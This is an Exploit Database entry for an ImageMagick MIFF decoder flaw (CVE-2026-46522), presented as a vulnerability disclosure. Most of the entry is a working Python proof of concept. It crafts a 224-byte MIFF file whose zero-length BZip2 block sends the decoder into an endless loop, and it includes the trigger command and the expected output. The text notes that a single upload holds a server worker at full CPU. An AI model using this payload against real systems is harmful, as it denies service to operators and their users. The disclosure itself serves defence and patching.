This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion EDB-ID: 52595 CVE: 2026-46522 EDB Verified: Author: JOSE RIVAS Type: LOCAL Exploit: / Platform: MULTIPLE Date: 2026-05-29 Vulnerable App: # Exploit Title: ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion # Google Dork: N/A # Date: 2026-05-13 # Exploit Author: Jose Rivas (bl4cksku11) & Zero Trust Offsec # Vendor Homepage: https://imagemagick.org/ # Software Link: https://imagemagick.org/download/ # Version: ImageMagick 7.x, verified on 7.1.2-3 system # CVE : CVE-2026-46522 # GHSA: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7gg8-qqx7-92g5 """ Description ----------- coders/miff.c ReadMIFFImage BZip2 branch does not reject length=0 in the per-block compressed length prefix. BZ2_bzDecompress with avail_in=0 returns BZ_OK silently, and the IM loop only exits on BZ_STREAM_END or on codes that are neither BZ_OK nor BZ_STREAM_END. The loop spins forever consuming CPU. LZMA and Zip branches have the same code shape but their decompressor libraries return BUF_ERROR on empty input, so they bail out. Minimal PoC is 224 bytes. Single HTTP upload pegs a worker at 100 percent CPU until killed by a request timeout or by the OS. Usage ----- python3 miff_bzip_dos.py [OUTPUT_PATH] Default OUTPUT_PATH is /tmp/poc.miff. Then trigger: /usr/bin/time -f 'wall=%es user=%Us cpu=%P exit=%x' \\ timeout 5 magick identify /tmp/poc.miff Expected output: Command exited with non-zero status 124 wall=5.00s user=5.00s cpu=100% exit=124 The process never finishes on its own. Timeout kills it. """ import sys def craft_miff(path: str) -> None: header = ( b"id=ImageMagick version=1.0\n" b"class=DirectClass colors=0 alpha-trait=Undefined\n" b"number-channels=3 number-meta-channels=0 channel-mask=0x0000000000000007\n" b"columns=1 rows=1 depth=8\n" b"colorspace=sRGB compression=BZip quality=75\n" b"\x0c\n" # form feed terminator, then one byte consumed by ReadBlobByte ) body = b"\x00\x00\x00\x00" # 4-byte MSB length=0, triggers the infinite loop with open(path, "wb") as f: f.write(header + body) import os print(f"[+] Wrote {path} ({os.path.getsize(path)} bytes)") print(f"[+] Trigger with:") print(f" /usr/bin/time -f 'wall=%es user=%Us cpu=%P exit=%x' \\") print(f" timeout 5 magick identify {path}") if __name__ == "__main__": craft_miff(sys.argv[1] if len(sys.argv) > 1 else "/tmp/poc.miff") Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.